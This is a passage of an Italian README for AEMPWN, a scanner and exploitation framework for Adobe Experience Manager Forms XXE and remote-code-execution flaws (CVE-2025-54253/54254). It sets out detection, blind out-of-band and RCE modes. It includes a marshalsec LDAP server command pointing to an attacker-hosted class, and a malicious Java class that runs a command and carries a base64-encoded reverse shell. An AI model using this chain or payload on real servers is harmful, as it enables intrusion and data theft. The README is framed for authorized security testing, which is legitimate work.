
CVE-2025-54253 | CVE-2025-54254 | Adobe Experience Manager Forms XXE → RCE Framework
AEM Forms Scanner per CVE-2025-54253 e CVE-2025-54254
AEMPWN è uno scanner mirato per identificare vulnerabilità ad alto rischio di Adobe Experience Manager (AEM) Forms, con supporto per rilevamento sicuro, conferma out-of-band (OOB) cieca e flussi di lavoro di validazione proof-of-concept (PoC) completi. Questo strumento è progettato solo per test di sicurezza autorizzati.
CVE-2025-54253 Esecuzione di codice remoto dipendente dalla configurazione in AEM Forms (JEE)
CVE-2025-54254 Iniezione XML External Entity (XXE) che porta alla divulgazione di file e potenziale escalation
AEMPWN supporta tre modalità di esecuzione per allinearsi ai flussi di lavoro reali di bounty e red team.
Scopo: Identificare comportamenti di parsing XML non sicuri e superfici di attacco sfruttabili senza innescare comportamenti distruttivi.
Cosa valida: Riflessione XML Risposte strutturate non HTML Riflessione di canary token Indicatori di gestione XML non sicura
Usare quando: Si desidera una validazione a basso rumore Si sta ancora mappando l'impatto È necessario un segnale sicuro prima dell'escalation Questa modalità è adatta per triage iniziale e reportistica interna.
Scopo: Confermare XXE cieco tramite richieste in uscita dal server AEM.
Chiarimento importante: Burp Collaborator (o servizi simili) osservano solo le connessioni in uscita. Non: Ospitano file DTD arbitrari Servono payload malevoli Restituiscono risposte controllate dall'attaccante Supportano lo sfruttamento LDAP/JNDI
Per questo motivo, Collaborator da solo non è sufficiente per uno sfruttamento completo di OOB XXE.
Cosa è necessario: Un server HTTP che controlli (VPS, istanza cloud, server locale con tunneling, ecc.) La possibilità di servire un file DTD La capacità di osservare le richieste HTTP in entrata e i parametri di query
Cosa dimostra: Il parser XML recupera entità esterne Il target effettua richieste di rete in uscita File locali sensibili possono essere letti ed esfiltrati
Scopo: Dimostrare l'effettiva esecuzione di codice sul server AEM per un impatto di livello P1.
Questa modalità si basa sull'iniezione JNDI tramite parsing XML, che richiede un'infrastruttura oltre ai callback HTTP.
Cosa è necessario: Un server LDAP in esecuzione in grado di servire un riferimento a una classe Java Un server HTTP che ospiti una classe Java compilata Una primitiva di esecuzione controllata (ad es. creazione di file, callback in uscita)
Perché è richiesto LDAP: Il parser XML tenta di risolvere un riferimento JNDI Ciò fa sì che il server AEM si connetta al tuo listener LDAP La risposta LDAP punta a una classe Java La classe viene caricata ed eseguita dalla JVM
Miglior strumento: marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-server/#Exploit" 1389
http://your-server/#Exploit = server HTTP che serve Exploit.class (classe malevola compilata).
Esempio di classe malevola (semplice touch /tmp/pwned o reverse shell):
Javaimport java.io.IOException;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("touch /tmp/pwned");
// o reverse shell: Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}");
} catch (IOException e) {}
}
}
Compila → ospita sul server HTTP (stesso del DTD o separato). Quando AEM analizza l'entità → si connette al tuo LDAP → recupera la classe → esegue il codice.
Limitazione chiave:
Burp Collaborator non può: Servire risposte LDAP Ospitare classi Java Innescare il caricamento di classi basato su JNDI Per questo motivo, la modalità RCE non può funzionare senza un vero servizio LDAP.
Burp Collaborator (e piattaforme simili) sono utili solo per il rilevamento.
Possono confermare: Ricerche DNS Callback HTTP o HTTPS Connettività in uscita cieca
Non possono: Ospitare file DTD Elaborare contenuti di file esfiltrati Servire classi Java Supportare lo sfruttamento basato su JNDI o LDAP
Usa Collaborator per osservare, non per distribuire payload.
I risultati confermati vengono scritti in un file di output (default: aem-forms-scan.txt) e includono: